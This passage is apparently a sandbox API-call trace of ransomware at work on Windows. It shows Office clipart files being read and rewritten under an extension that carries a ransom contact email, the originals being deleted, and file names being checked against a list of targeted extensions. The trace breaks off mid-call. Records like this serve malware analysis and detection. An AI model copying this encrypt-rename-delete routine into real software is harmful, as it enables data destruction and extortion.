dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.524] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=31812) returned 1 [0152.524] CloseHandle (hObject=0x38c) returned 1 [0152.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 0x220 [0152.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.524] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.524] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0152.525] GetLastError () returned 0x0 [0152.525] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x7c44, lpOverlapped=0x0) returned 1 [0152.526] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x7c50, lpOverlapped=0x0) returned 1 [0152.527] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.527] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.527] SetEndOfFile (hFile=0x33c) returned 1 [0152.527] CloseHandle (hObject=0x33c) returned 1 [0152.527] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.527] SetEndOfFile (hFile=0x38c) returned 1 [0152.528] CloseHandle (hObject=0x38c) returned 1 [0152.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0152.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0152.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0152.529] lstrlenW (lpString=".doc") returned 4 [0152.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.529] lstrlenW (lpString=".docx") returned 5 [0152.529] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.529] lstrlenW (lpString=".pdf") returned 4 [0152.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.529] lstrlenW (lpString=".xls") returned 4 [0152.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.529] lstrlenW (lpString=".xlsx") returned 5 [0152.529] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.529] lstrlenW (lpString=".ppt") returned 4 [0152.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0152.529] lstrlenW (lpString=".zip") returned 4 [0152.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.529] lstrlenW (lpString=".rar") returned 4 [0152.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.529] lstrlenW (lpString=".bz2") returned 4 [0152.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.529] lstrlenW (lpString=".7z") returned 3 [0152.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0152.529] lstrlenW (lpString=".dbf") returned 4 [0152.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0152.529] lstrlenW (lpString=".1cd") returned 4 [0152.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0152.529] lstrlenW (lpString=".jpg") returned 4 [0152.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0152.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0152.530] lstrlenW (lpString=".doc") returned 4 [0152.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.530] lstrlenW (lpString=".docx") returned 5 [0152.530] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.530] lstrlenW (lpString=".pdf") returned 4 [0152.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.530] lstrlenW (lpString=".xls") returned 4 [0152.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.530] lstrlenW (lpString=".xlsx") returned 5 [0152.530] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.530] lstrlenW (lpString=".ppt") returned 4 [0152.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0152.530] lstrlenW (lpString=".zip") returned 4 [0152.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.530] lstrlenW (lpString=".rar") returned 4 [0152.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.530] lstrlenW (lpString=".bz2") returned 4 [0152.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.530] lstrlenW (lpString=".7z") returned 3 [0152.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0152.530] lstrlenW (lpString=".dbf") returned 4 [0152.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0152.530] lstrlenW (lpString=".1cd") returned 4 [0152.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0152.530] lstrlenW (lpString=".jpg") returned 4 [0152.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.531] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.531] lstrlenW (lpString="J0105526.WMF") returned 12 [0152.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.531] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=17332) returned 1 [0152.531] CloseHandle (hObject=0x38c) returned 1 [0152.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220 [0152.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.531] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.531] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0152.532] GetLastError () returned 0x0 [0152.532] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x43b4, lpOverlapped=0x0) returned 1 [0152.533] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x43c0, lpOverlapped=0x0) returned 1 [0152.534] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.534] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.534] SetEndOfFile (hFile=0x33c) returned 1 [0152.534] CloseHandle (hObject=0x33c) returned 1 [0152.534] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.534] SetEndOfFile (hFile=0x38c) returned 1 [0152.535] CloseHandle (hObject=0x38c) returned 1 [0152.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0152.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0152.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0152.535] lstrlenW (lpString=".doc") returned 4 [0152.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.535] lstrlenW (lpString=".docx") returned 5 [0152.535] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.535] lstrlenW (lpString=".pdf") returned 4 [0152.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.535] lstrlenW (lpString=".xls") returned 4 [0152.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.535] lstrlenW (lpString=".xlsx") returned 5 [0152.535] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.535] lstrlenW (lpString=".ppt") returned 4 [0152.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0152.536] lstrlenW (lpString=".zip") returned 4 [0152.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.536] lstrlenW (lpString=".rar") returned 4 [0152.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.536] lstrlenW (lpString=".bz2") returned 4 [0152.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.536] lstrlenW (lpString=".7z") returned 3 [0152.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0152.536] lstrlenW (lpString=".dbf") returned 4 [0152.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0152.536] lstrlenW (lpString=".1cd") returned 4 [0152.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0152.536] lstrlenW (lpString=".jpg") returned 4 [0152.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0152.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0152.536] lstrlenW (lpString=".doc") returned 4 [0152.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.536] lstrlenW (lpString=".docx") returned 5 [0152.536] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.536] lstrlenW (lpString=".pdf") returned 4 [0152.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.536] lstrlenW (lpString=".xls") returned 4 [0152.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.536] lstrlenW (lpString=".xlsx") returned 5 [0152.536] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.536] lstrlenW (lpString=".ppt") returned 4 [0152.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0152.537] lstrlenW (lpString=".zip") returned 4 [0152.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.537] lstrlenW (lpString=".rar") returned 4 [0152.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.537] lstrlenW (lpString=".bz2") returned 4 [0152.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.537] lstrlenW (lpString=".7z") returned 3 [0152.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0152.537] lstrlenW (lpString=".dbf") returned 4 [0152.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0152.537] lstrlenW (lpString=".1cd") returned 4 [0152.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0152.537] lstrlenW (lpString=".jpg") returned 4 [0152.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.537] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.537] lstrlenW (lpString="J0105530.WMF") returned 12 [0152.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.537] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=7384) returned 1 [0152.537] CloseHandle (hObject=0x38c) returned 1 [0152.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220 [0152.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.539] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.539] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0152.540] GetLastError () returned 0x0 [0152.540] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0152.541] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0152.541] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.542] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.542] SetEndOfFile (hFile=0x33c) returned 1 [0152.542] CloseHandle (hObject=0x33c) returned 1 [0152.542] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.542] SetEndOfFile (hFile=0x38c) returned 1 [0152.543] CloseHandle (hObject=0x38c) returned 1 [0152.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0152.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0152.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0152.543] lstrlenW (lpString=".doc") returned 4 [0152.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.543] lstrlenW (lpString=".docx") returned 5 [0152.543] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.543] lstrlenW (lpString=".pdf") returned 4 [0152.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.543] lstrlenW (lpString=".xls") returned 4 [0152.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.543] lstrlenW (lpString=".xlsx") returned 5 [0152.543] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.543] lstrlenW (lpString=".ppt") returned 4 [0152.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0152.543] lstrlenW (lpString=".zip") returned 4 [0152.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.543] lstrlenW (lpString=".rar") returned 4 [0152.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.543] lstrlenW (lpString=".bz2") returned 4 [0152.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.544] lstrlenW (lpString=".7z") returned 3 [0152.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0152.544] lstrlenW (lpString=".dbf") returned 4 [0152.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0152.544] lstrlenW (lpString=".1cd") returned 4 [0152.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0152.544] lstrlenW (lpString=".jpg") returned 4 [0152.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0152.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0152.544] lstrlenW (lpString=".doc") returned 4 [0152.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.544] lstrlenW (lpString=".docx") returned 5 [0152.544] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.544] lstrlenW (lpString=".pdf") returned 4 [0152.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.544] lstrlenW (lpString=".xls") returned 4 [0152.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.544] lstrlenW (lpString=".xlsx") returned 5 [0152.544] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.544] lstrlenW (lpString=".ppt") returned 4 [0152.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0152.544] lstrlenW (lpString=".zip") returned 4 [0152.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.544] lstrlenW (lpString=".rar") returned 4 [0152.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.545] lstrlenW (lpString=".bz2") returned 4 [0152.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.545] lstrlenW (lpString=".7z") returned 3 [0152.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0152.545] lstrlenW (lpString=".dbf") returned 4 [0152.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0152.545] lstrlenW (lpString=".1cd") returned 4 [0152.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0152.545] lstrlenW (lpString=".jpg") returned 4 [0152.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.545] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.545] lstrlenW (lpString="J0105588.WMF") returned 12 [0152.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.545] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=21548) returned 1 [0152.545] CloseHandle (hObject=0x38c) returned 1 [0152.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220 [0152.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 